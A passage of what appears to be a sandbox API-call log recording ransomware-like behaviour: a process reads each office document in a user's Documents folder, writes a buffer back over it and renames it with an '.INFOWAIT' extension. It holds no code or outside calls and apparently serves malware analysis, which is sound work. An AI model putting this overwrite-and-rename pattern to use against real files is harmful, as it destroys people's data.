dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.337] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xedfe, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xedfe, lpOverlapped=0x0) returned 1 [0119.338] CloseHandle (hObject=0xad4) returned 1 [0119.340] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\EoZDJddZ6evy.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\EoZDJddZ6evy.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\EoZDJddZ6evy.pptx" [0119.340] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\EoZDJddZ6evy.pptx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\EoZDJddZ6evy.pptx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\EoZDJddZ6evy.pptx.INFOWAIT" [0119.340] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\EoZDJddZ6evy.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\skavx\\eozdjddz6evy.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\EoZDJddZ6evy.pptx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\skavx\\eozdjddz6evy.pptx.infowait")) returned 1 [0119.341] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.342] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.342] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.342] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\F0LyAv7a.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\skavx\\f0lyav7a.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.343] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4a04 [0119.343] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.343] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.343] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4a04, lpOverlapped=0x0) returned 1 [0119.351] VirtualAlloc (lpAddress=0x0, dwSize=0x4a04, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.364] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.364] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4a04, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4a04, lpOverlapped=0x0) returned 1 [0119.364] CloseHandle (hObject=0xad4) returned 1 [0119.374] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\F0LyAv7a.xls" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\F0LyAv7a.xls") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\F0LyAv7a.xls" [0119.374] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\F0LyAv7a.xls", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\F0LyAv7a.xls.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\F0LyAv7a.xls.INFOWAIT" [0119.374] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\F0LyAv7a.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\skavx\\f0lyav7a.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\F0LyAv7a.xls.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\skavx\\f0lyav7a.xls.infowait")) returned 1 [0119.375] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.376] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.377] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.377] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.377] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x192 [0119.377] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.377] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.377] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x192, lpOverlapped=0x0) returned 1 [0119.380] VirtualAlloc (lpAddress=0x0, dwSize=0x192, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.381] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.381] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x192, lpOverlapped=0x0) returned 1 [0119.381] CloseHandle (hObject=0xad4) returned 1 [0119.382] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini" [0119.382] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini.INFOWAIT" [0119.382] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\desktop.ini.infowait")) returned 1 [0119.383] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.384] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.384] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.384] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\frr7vMqqzTzgf.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\frr7vmqqztzgf.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.386] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7634 [0119.386] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.386] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.386] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7634, lpOverlapped=0x0) returned 1 [0119.389] VirtualAlloc (lpAddress=0x0, dwSize=0x7634, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.392] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.392] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7634, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7634, lpOverlapped=0x0) returned 1 [0119.392] CloseHandle (hObject=0xad0) returned 1 [0119.397] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\frr7vMqqzTzgf.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\frr7vMqqzTzgf.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\frr7vMqqzTzgf.pptx" [0119.397] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\frr7vMqqzTzgf.pptx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\frr7vMqqzTzgf.pptx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\frr7vMqqzTzgf.pptx.INFOWAIT" [0119.397] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\frr7vMqqzTzgf.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\frr7vmqqztzgf.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\frr7vMqqzTzgf.pptx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\frr7vmqqztzgf.pptx.infowait")) returned 1 [0119.397] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.398] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.399] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.399] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GkFwBZ26Jl.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gkfwbz26jl.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.400] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1d25 [0119.400] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.400] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.400] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1d25, lpOverlapped=0x0) returned 1 [0119.403] VirtualAlloc (lpAddress=0x0, dwSize=0x1d25, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.404] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.404] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1d25, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1d25, lpOverlapped=0x0) returned 1 [0119.404] CloseHandle (hObject=0xad0) returned 1 [0119.406] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GkFwBZ26Jl.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GkFwBZ26Jl.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GkFwBZ26Jl.docx" [0119.406] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GkFwBZ26Jl.docx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GkFwBZ26Jl.docx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GkFwBZ26Jl.docx.INFOWAIT" [0119.406] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GkFwBZ26Jl.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gkfwbz26jl.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GkFwBZ26Jl.docx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gkfwbz26jl.docx.infowait")) returned 1 [0119.407] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.408] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.408] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H2j6tPl2-Uy7a_CTb.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\h2j6tpl2-uy7a_ctb.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.408] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x11286 [0119.408] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.409] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.409] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x11286, lpOverlapped=0x0) returned 1 [0119.412] VirtualAlloc (lpAddress=0x0, dwSize=0x11286, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0119.417] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.417] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x11286, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x11286, lpOverlapped=0x0) returned 1 [0119.417] CloseHandle (hObject=0xad0) returned 1 [0119.426] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H2j6tPl2-Uy7a_CTb.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H2j6tPl2-Uy7a_CTb.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H2j6tPl2-Uy7a_CTb.docx" [0119.426] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H2j6tPl2-Uy7a_CTb.docx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H2j6tPl2-Uy7a_CTb.docx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H2j6tPl2-Uy7a_CTb.docx.INFOWAIT" [0119.426] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H2j6tPl2-Uy7a_CTb.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\h2j6tpl2-uy7a_ctb.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H2j6tPl2-Uy7a_CTb.docx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\h2j6tpl2-uy7a_ctb.docx.infowait")) returned 1 [0119.426] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.428] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.428] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.429] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Hy6vDgJFghnTAj77.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hy6vdgjfghntaj77.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.429] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2a6c [0119.430] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.430] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.430] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x2a6c, lpOverlapped=0x0) returned 1 [0119.434] VirtualAlloc (lpAddress=0x0, dwSize=0x2a6c, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.435] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.435] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x2a6c, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x2a6c, lpOverlapped=0x0) returned 1 [0119.435] CloseHandle (hObject=0xad4) returned 1 [0119.436] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Hy6vDgJFghnTAj77.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Hy6vDgJFghnTAj77.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Hy6vDgJFghnTAj77.xlsx" [0119.436] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Hy6vDgJFghnTAj77.xlsx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Hy6vDgJFghnTAj77.xlsx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Hy6vDgJFghnTAj77.xlsx.INFOWAIT" [0119.436] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Hy6vDgJFghnTAj77.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hy6vdgjfghntaj77.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Hy6vDgJFghnTAj77.xlsx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hy6vdgjfghntaj77.xlsx.infowait")) returned 1 [0119.437] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.438] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.438] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.439] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\I_5X.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\i_5x.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.439] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10fb6 [0119.439] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.439] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.439] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x10fb6, lpOverlapped=0x0) returned 1 [0119.445] VirtualAlloc (lpAddress=0x0, dwSize=0x10fb6, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0119.451] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.451] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x10fb6, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x10fb6, lpOverlapped=0x0) returned 1 [0119.451] CloseHandle (hObject=0xad4) returned 1 [0119.454] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\I_5X.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\I_5X.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\I_5X.xlsx" [0119.454] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\I_5X.xlsx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\I_5X.xlsx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\I_5X.xlsx.INFOWAIT" [0119.454] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\I_5X.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\i_5x.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\I_5X.xlsx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\i_5x.xlsx.infowait")) returned 1 [0119.455] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.456] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.457] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.464] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kDhx0.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kdhx0.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.465] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd09a [0119.465] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.465] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.465] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xd09a, lpOverlapped=0x0) returned 